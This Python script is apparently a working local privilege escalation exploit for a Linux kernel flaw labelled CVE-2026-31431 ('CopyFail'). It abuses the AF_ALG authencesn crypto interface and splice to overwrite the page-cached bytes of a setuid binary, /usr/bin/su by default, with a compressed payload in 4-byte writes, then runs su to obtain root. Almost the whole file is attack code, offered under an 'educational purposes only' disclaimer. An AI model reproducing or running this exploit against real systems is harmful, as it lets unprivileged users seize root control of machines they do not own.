#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title		: CopyFail CVE-2026-31431 Linux LPE exploit
# Date		: 2026-05-15
# Author	: Axura (@4xura) - https://4xura.com
# Reference : https://4xura.com/binex/kernel/copy-fail/
#
# Description:
# ------------
#   AAD[4:8]       -> 4-byte controlled write value
#   authsize = 4   -> target bytes sit in the imported tag tail
#   splice len=t+4 -> the last 4 imported file bytes are the overwrite target
#   recv()         -> triggers authencesn() scratch write, even if auth fails
#
# Usage:
# ------
# python3 exploit.py 
# DEBUG=1 python3 exploit.py [target_basename]
# python3 exploit.py [target_basename]
#
# Notes:
# ------
# Provided for educational purposes only. Use responsibly.
#

import os
import sys
import zlib
import socket


DEBUG = bool(os.getenv("DEBUG"))


def hex_bytes(s: str) -> bytes:
    return bytes.fromhex(s)


SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
MSG_MORE = 0x8000


# authenc key blob:
# [rtattr|authenc param|16-byte auth key|16-byte AES key]
AUTHENC_KEY_BLOB = hex_bytes("0800010000000010" + "0" * 64)


def open_authencesn_socket() -> tuple[socket.socket, socket.socket]:
    """
    Open the vulnerable AEAD transform and one accepted request socket.

    userspace:
        socket(AF_ALG) -> bind("aead", "authencesn(...)") -> accept()

    kernel:
        AF_ALG family -> algif_aead -> authencesn decrypt callback later on recv()
    """
    tfm = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    tfm.setsockopt(SOL_ALG, ALG_SET_KEY, AUTHENC_KEY_BLOB)
    tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
    op, _ = tfm.accept()
    return tfm, op


def queue_aad(op: socket.socket, write_value: bytes) -> None:
    """
    Queue 8 bytes of AAD. Bytes 4..7 become the later 4-byte overwrite.

    AAD layout:
        byte 0..3  = filler
        byte 4..7  = controlled value written later by authencesn()

        +------+------+------+------+------+------+------+------+
        |  A   |  A   |  A   |  A   |  w0  |  w1  |  w2  |  w3  |
        +------+------+------+------+------+------+------+------+
    """
    zero = hex_bytes("00")
    aad = b"A" * 4 + write_value

    # Control messages:
    #   ALG_SET_OP             -> decrypt
    #   ALG_SET_IV             -> 16-byte IV
    #   ALG_SET_AEAD_ASSOCLEN  -> assoclen = 8
    op.sendmsg(
        [aad],
        [
            (SOL_ALG, ALG_SET_OP, zero * 4),
            (SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
            (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + zero * 3),
        ],
        MSG_MORE,
    )


def splice_target_window(file_fd: int, op_fd: int, target_offset: int) -> None:
    """
    Import the file window whose last 4 bytes are the overwrite target.

        splice_len = target_offset + 4

    so that the imported bytes are:

        file[0 : target_offset]        -> ciphertext region
        file[target_offset : +4]       -> preserved tag tail

    authsize = 4 makes those last 4 bytes sit exactly where authencesn()
    later performs its destination-side scratch write.
    """
    splice_len = target_offset + 4
    read_fd, write_fd = os.pipe()

    try:
        # file -> pipe
        os.splice(file_fd, write_fd, splice_len, offset_src=0)
        # pipe -> AF_ALG socket
        os.splice(read_fd, op_fd, splice_len)
    finally:
        os.close(read_fd)
        os.close(write_fd)


def trigger_decrypt(op: socket.socket, target_offset: int) -> None:
    """
    Trigger the decrypt path.

    The exploit does not require a successful decrypt. It only requires
    authencesn() to execute far enough that:

        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)

    performs the 4-byte write before recv() reports authentication failure.
    """
    try:
        op.recv(8 + target_offset)
    except OSError as e:
        if DEBUG:
            print(f"    [-] recv() returned: {e}")


def overwrite_4_bytes(file_fd: int, target_offset: int, chunk: bytes) -> None:
    """
    Apply one 4-byte overwrite primitive.

    exploit geometry for one iteration:

        AAD[4:8] = chunk
             |
             v
        recv() -> authencesn() scratch write
             |
             v
        file[target_offset : target_offset+4] in page cache becomes chunk
    """
    tfm, op = open_authencesn_socket()
    try:
        if DEBUG:
            print(
                f"[+] overwrite @ 0x{target_offset:x}: "
                f"{chunk.hex()} ({chunk.decode('latin1', errors='replace')})"
            )
        queue_aad(op, chunk)
        splice_target_window(file_fd, op.fileno(), target_offset)
        trigger_decrypt(op, target_offset)
    finally:
        op.close()
        tfm.close()


def decompress_payload() -> bytes:
    # zlib-compressed replacement bytes written into the target.
    #
    # After decompression:
    #   payload[0:4]   -> overwrite at file offset 0x0
    #   payload[4:8]   -> overwrite at file offset 0x4
    #   ...
    #
    # main() walks this buffer in 4-byte chunks and turns each chunk into one
    # AAD[4:8] value for one exploit iteration.
    payload_blob = hex_bytes(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07"
        "e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5"
        "190c0c0c0032c310d3"
    )
    return zlib.decompress(payload_blob)


def main() -> None:
    target = "/usr/bin/su"

    if len(sys.argv) > 1:
        target = f"/usr/bin/{sys.argv[1]}"

    payload = decompress_payload()

    print(f"[+] target   : {target}")
    print(f"[+] payload  : {len(payload)} bytes")
    print("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write")

    file_fd = os.open(target, os.O_RDONLY)
    try:
        # Each loop iteration patches one 4-byte slot in the target executable.
        for target_offset in range(0, len(payload), 4):
            chunk = payload[target_offset : target_offset + 4]
            overwrite_4_bytes(file_fd, target_offset, chunk)
    finally:
        os.close(file_fd)

    print("[+] payload staged into page cache, executing target...")
    os.system("su")


if __name__ == "__main__":
    main()